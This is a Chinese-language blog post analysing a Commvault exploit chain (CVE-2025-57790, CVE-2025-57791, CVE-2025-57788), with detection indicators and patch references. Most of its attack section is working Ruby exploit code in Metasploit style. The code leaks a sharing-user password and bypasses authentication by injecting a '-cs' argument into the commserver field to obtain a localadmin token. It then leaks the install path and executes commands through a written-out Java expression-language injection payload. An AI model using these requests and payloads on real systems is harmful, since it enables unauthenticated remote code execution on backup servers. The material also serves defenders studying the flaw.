Commvault CLI参数注入漏洞分析与远程代码执行

本文详细分析了Commvault软件中的CLI参数注入漏洞链,包括认证绕过、路径遍历和远程代码执行技术细节,涉及CVE-2025-57790、CVE-2025-57791等多个安全漏洞。

Commvault CLI参数注入/路径遍历/远程代码执行

漏洞概述

该漏洞利用链针对Commvault软件,涉及未经身份验证的远程代码执行。攻击链结合了命令行参数注入漏洞,允许未经身份验证访问"localadmin"账户,随后通过表达式语言注入实现代码执行。

技术细节

漏洞标识

  • 风险等级: 高
  • 攻击类型: 远程
  • CVE编号: CVE-2025-57790, CVE-2025-57791, CVE-2025-57788

漏洞利用流程

1. 信息泄露阶段

通过查询未授权的Web API端点publicLink.do,提取PublicSharingUser的GUID密码:

1
2
3
4
5
6
def check_commvault_info
  send_request_cgi(
    'method' => 'GET',
    'uri' => normalize_uri(target_uri.path, 'commandcenter', 'publicLink.do')
  )
end

2. 认证绕过

利用泄露的主机名和静态字符串绕过认证,获取localadmin用户令牌:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
def bypass_authentication(hostname)
  send_request_cgi(
    'method' => 'POST',
    'uri' => normalize_uri(target_uri.path, 'commandcenter', 'api', 'Login'),
    'ctype' => 'application/json',
    'data' => {
      'username' => "#{hostname}_localadmin__",
      'password' => Base64.strict_encode64("#{' ' * rand(1..8)}a#{' ' * rand(1..8)}-localadmin#{' ' * rand(1..8)}"),
      'commserver' => "#{hostname} -cs #{hostname}"
    }.to_json
  )
end

3. 路径泄露

通过认证的API端点获取安装路径信息:

1
2
3
4
5
6
7
8
9
def leak_full_path(token)
  send_request_cgi(
    'method' => 'GET',
    'uri' => normalize_uri(target_uri.path, 'commandcenter', 'api', 'Workflow'),
    'headers' => {
      'Authtoken' => token
    }
  )
end

4. 远程代码执行

利用表达式语言注入执行命令:

1
payload = "${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('#{cmd}').getInputStream()).useDelimiter('%5C%5CA').next()}"

影响范围

  • 平台: Windows系统
  • 权限: NETWORK SERVICE用户上下文
  • 稳定性: 崩溃安全,可重复会话

检测特征

  • 日志文件中包含IOC指标
  • 磁盘上写入异常的XML文件和Web Shell
  • localadmin用户描述被修改

缓解措施

参考Commvault安全公告CV_2025_08_1和CV_2025_08_2,及时安装相关安全补丁。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计